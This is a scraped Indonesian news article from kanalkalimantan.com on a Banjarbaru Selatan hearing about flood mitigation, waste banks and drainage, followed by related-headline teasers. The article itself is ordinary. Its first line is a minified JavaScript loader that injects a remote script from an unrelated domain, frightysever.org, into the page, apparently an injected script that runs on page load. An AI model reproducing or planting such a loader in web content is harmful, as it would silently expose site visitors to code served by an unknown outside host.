(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Mitigasi bencana banjir dan permasalahan sampah menjadi bahasan dan sorotan Pemerintah Kecamatan Banjarbaru Selatan.
Camat Banjarbaru Selatan, Taufik Purwanto berinisiatif melakukan audiensi antara warga Kota Banjarbaru Selatan bersama BPBD Banjarbaru, dan Dinas Lingkungan Hidup Kota Banjarbaru, di aula kantor Kecamatan Banjarbaru Selatan, Kamis (21/10/2021).
Menurut Taufik audiensi sangat diperlukan guna mengoptimalkan mitigasi bencana dan pengelolaan sampah. Ia berupaya untuk terus melibatkan masyarakat sekitar terlebih yang tinggal di daerah rawan bencana banjir.
“Ini merupakan ancang-ancang kami dalam menghadapi musim penghujan,” ujar mantan Lurah Syamsudin Noor ini.
Baca juga : 73 Desa di HSU Siap Gelar Pilkades Serentak, Ini Tanggal Pelaksanaannya
Banyak aspirasi warga dan masukan yang berhasil dirangkum oleh pemerintah kecamatan, seperti permasalahan. Pengelolan bank sampah sebagai titik pemilahan sampah yang memadai dan administrasi yang tidak menyulitkan warga.
Salah satu warga Banjarbaru Selatan, Harun Nur Rasyid menyampaikan kondisi peralatan penyedot air yang masih kurang. Sehingga ketika terjadi hujan dan ada genangan air terjadi kemacetan panjang karena di jalan terjadi genangan air yang cukup dalam.
“Kalau bisa di tempat kami disediakan alat penyedot yang fortable agar memudahkan dalam penyedotan genangan air dan untuk selangnya bisa lebih dipanjangkan lagi,” kata Harun.
Dalam audiensi ini terfokus pada penanganan bencana banjir dan permasalahan sampah di Kota Banjarbaru. Di antaranya menyoroti pemilahan pengelolaan sampah, drainase jalan, dan sumur resapan untuk antisipasi banjir.
Baca juga : Jokowi ke Kalsel Disambut Unjuk Rasa Mahasiswa, Resmikan Pabrik Biodiesel Jhonlin Group dan Jembatan Alalak
Menanggapi hal itu, Kepala DLH Kota Banjarbaru, Sirajoni mengatakan, kebijakan mengenai bank sampah itu tergantung dari pemerintah pusat.
“Pemerintah pusat memiliki aturan atau ketetapan hanya sampai perkotaan saja, tidak sampai ke bawah, sehingga itu berpengaruh akan nilai keekonomisan sampah menjadi tidak stabil,” tutunya
Sementara itu, mengenai perlengkapan pemenuhan dalam penyediaan perlengkapan, Sirajoni mengatakan, banyak dari APBD yang dipangkas atau direcofusing ke penanganan pandemi Covid-19, sehingga Ia berharap kedepannya pandemi segera berakhir agar anggaran penyediaan sarana prasarana terpenuhi.
Sementara itu, Kalakhar BPBD Banjarbaru, Zaini Syahranie mengatakan akan terus berkoordinasi dengan stakeholder terkait mitigasi bencana yang terjadi di Kota Banjarbaru.(kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.